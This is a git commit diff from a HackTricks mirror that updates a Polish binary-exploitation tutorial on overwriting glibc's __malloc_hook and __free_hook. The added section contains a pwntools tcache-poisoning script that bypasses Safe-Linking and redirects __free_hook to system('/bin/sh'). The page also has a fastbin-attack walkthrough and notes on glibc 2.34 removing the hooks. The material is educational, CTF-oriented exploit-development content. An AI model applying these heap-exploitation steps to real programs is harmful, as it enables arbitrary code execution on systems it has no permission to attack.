mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
This commit is contained in:
parent
3c2ef55137
commit
bfc3ee77d2
@ -1,4 +1,4 @@
|
||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
|
||||
# WWW2Exec - __malloc_hook & __free_hook
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Jak można zobaczyć na [oficjalnej stronie GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** jest wskaźnikiem wskazującym na **adres funkcji, która będzie wywoływana** za każdym razem, gdy wywoływana jest `malloc()`, **przechowywana w sekcji danych biblioteki libc**. Dlatego, jeśli ten adres zostanie nadpisany na przykład przez **One Gadget**, a `malloc` zostanie wywołane, **One Gadget zostanie wywołany**.
|
||||
|
||||
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołując `printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je alokować w stercie.
|
||||
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołać `printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je alokować w stercie.
|
||||
|
||||
Więcej informacji o One Gadget w:
|
||||
|
||||
@ -47,7 +47,7 @@ W wspomnianym punkcie przerwania w powyższym kodzie w `$eax` znajdować się b
|
||||
|
||||
Teraz przeprowadzany jest **atak na szybkie biny**:
|
||||
|
||||
- Przede wszystkim odkryto, że możliwe jest operowanie na szybkich **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**:
|
||||
- Po pierwsze odkryto, że możliwe jest operowanie na szybkich **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
@ -57,14 +57,79 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Jeśli uda nam się uzyskać szybki chunk o rozmiarze 0x200 w tej lokalizacji, będzie możliwe nadpisanie wskaźnika funkcji, który zostanie wykonany.
|
||||
- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc`, a połączona funkcja jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze `0xfc*2 = 0x1f8` w szybkim binie.
|
||||
- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc`, a funkcja scalająca jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze `0xfc*2 = 0x1f8` w szybkim binie.
|
||||
- Następnie wywoływana jest funkcja edytująca w tym chunku, aby zmodyfikować adres **`fd`** tego szybkiego bina, aby wskazywał na poprzednią funkcję **`__free_hook`**.
|
||||
- Potem tworzony jest chunk o rozmiarze `0x1f8`, aby odzyskać z szybkiego bina poprzedni bezużyteczny chunk, więc tworzony jest kolejny chunk o rozmiarze `0x1f8`, aby uzyskać szybki chunk w **`__free_hook`**, który jest nadpisywany adresem funkcji **`system`**.
|
||||
- A na koniec chunk zawierający ciąg `/bin/sh\x00` jest zwalniany, wywołując funkcję usuwania, co uruchamia funkcję **`__free_hook`**, która wskazuje na system z `/bin/sh\x00` jako parametrem.
|
||||
|
||||
## Odniesienia
|
||||
---
|
||||
|
||||
## Zatrucie Tcache i Safe-Linking (glibc 2.32 – 2.33)
|
||||
|
||||
glibc 2.32 wprowadził **Safe-Linking** – kontrolę integralności, która chroni *pojedyncze* listy powiązane używane przez **tcache** i szybkie biny. Zamiast przechowywać surowy wskaźnik do przodu (`fd`), ptmalloc teraz przechowuje go *z obfuskacją* za pomocą następującego makra:
|
||||
```c
|
||||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||
```
|
||||
Konsekwencje dla eksploatacji:
|
||||
|
||||
1. **heap leak** jest obowiązkowy – atakujący musi znać wartość czasu wykonania `chunk_addr >> 12`, aby stworzyć ważny zafałszowany wskaźnik.
|
||||
2. Tylko *pełny* 8-bajtowy wskaźnik może być sfałszowany; częściowe nadpisania jednego bajtu nie przejdą sprawdzenia.
|
||||
|
||||
Minimalny prymityw tcache-poisoning, który nadpisuje `__free_hook` w glibc 2.32/2.33, wygląda zatem następująco:
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||
p = process("./vuln")
|
||||
|
||||
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||||
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||||
heap_base = heap_leak & ~0xfff
|
||||
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||||
log.success(f"heap @ {hex(heap_base)}")
|
||||
|
||||
# 2. Prepare two same-size chunks and double-free one of them
|
||||
a = malloc(0x48)
|
||||
b = malloc(0x48)
|
||||
free(a)
|
||||
free(b)
|
||||
free(a) # tcache double-free ⇒ poisoning primitive
|
||||
|
||||
# 3. Forge obfuscated fd that points to __free_hook
|
||||
free_hook = libc.sym['__free_hook']
|
||||
poison = free_hook ^ fd_key
|
||||
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||||
|
||||
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||||
malloc(0x48) # returns chunk a
|
||||
c = malloc(0x48) # returns chunk @ __free_hook
|
||||
edit(c, p64(libc.sym['system']))
|
||||
|
||||
# 5. Trigger
|
||||
bin_sh = malloc(0x48)
|
||||
edit(bin_sh, b"/bin/sh\x00")
|
||||
free(bin_sh)
|
||||
```
|
||||
Fragment powyżej został dostosowany z ostatnich wyzwań CTF, takich jak *UIUCTF 2024 – «Rusty Pointers»* i *openECSC 2023 – «Babyheap G»*, które polegały na obejściach Safe-Linking w celu nadpisania `__free_hook`.
|
||||
|
||||
---
|
||||
|
||||
## Co zmieniło się w glibc ≥ 2.34?
|
||||
|
||||
Począwszy od **glibc 2.34 (sierpień 2021)**, haki alokacji `__malloc_hook`, `__realloc_hook`, `__memalign_hook` i `__free_hook` zostały **usunięte z publicznego API i nie są już wywoływane przez alokator**. Symbole zgodności są nadal eksportowane dla starszych binariów, ale ich nadpisanie nie wpływa już na kontrolę przepływu `malloc()` lub `free()`.
|
||||
|
||||
Praktyczna implikacja: w nowoczesnych dystrybucjach (Ubuntu 22.04+, Fedora 35+, Debian 12 itd.) musisz przejść do *innych* prymitywów przejęcia (IO-FILE, `__run_exit_handlers`, spryskiwanie vtable itd.), ponieważ nadpisania haków będą cicho zawodzić.
|
||||
|
||||
Jeśli nadal potrzebujesz starego zachowania do debugowania, glibc dostarcza `libc_malloc_debug.so`, które można wstępnie załadować, aby ponownie włączyć starsze haki – ale biblioteka **nie jest przeznaczona do produkcji i może zniknąć w przyszłych wydaniach**.
|
||||
|
||||
---
|
||||
|
||||
## Referencje
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
- Safe-Linking – Eliminacja 20-letniego prymitywu exploita malloc() (Check Point Research, 2020)
|
||||
- Notatki z wydania glibc 2.34 – usunięcie haków malloc
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user